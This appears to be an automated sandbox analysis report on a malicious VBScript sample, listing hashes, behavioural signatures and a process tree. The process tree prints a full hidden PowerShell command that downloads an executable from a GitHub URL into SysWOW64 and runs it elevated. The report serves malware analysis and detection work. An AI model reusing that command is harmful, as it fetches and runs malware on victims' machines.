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Analysis
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max time kernel
94s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
06/10/2024, 01:17
Static task
static1
Behavioral task
behavioral1
Sample
7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs
Resource
win10v2004-20240802-en
General
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Target
7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs
-
Size
10KB
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MD5
8e0172134b7f15992d6464767e423996
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SHA1
071ee6dec991cbf30c9535a9cc119742dc273206
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SHA256
7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac
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SHA512
350a56053a31ab1d4231cba01c4f84d9fae371dcf979ad1d7c334b92b428f1105e2ef447296ce1db0c6ddb64b9ee1f0d8db4398754d5a898f2eb163a6b451ba1
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SSDEEP
96:c8LFHzb+U5X4wrqqeH+5YoieyzgJABJ/fxrQsuO3zKA6pT8dmbTij+aUSH:cmFmU5KHJVerJABRu6N1dmnh8H
Malware Config
Extracted
http://github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/stubInf.exe
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 3344 powershell.exe 8 3344 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3344 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\stubInf.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3344 powershell.exe 3344 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3344 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 440 wrote to memory of 3344 440 WScript.exe 82 PID 440 wrote to memory of 3344 440 WScript.exe 82
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:440 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "(new-object System.Net.WebClient).DownloadFile('http://github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/stubInf.exe', 'C:\Windows\SysWOW64\stubInf.exe'); Start-Process 'C:\Windows\SysWOW64\stubInf.exe' -Verb runas"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3344
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82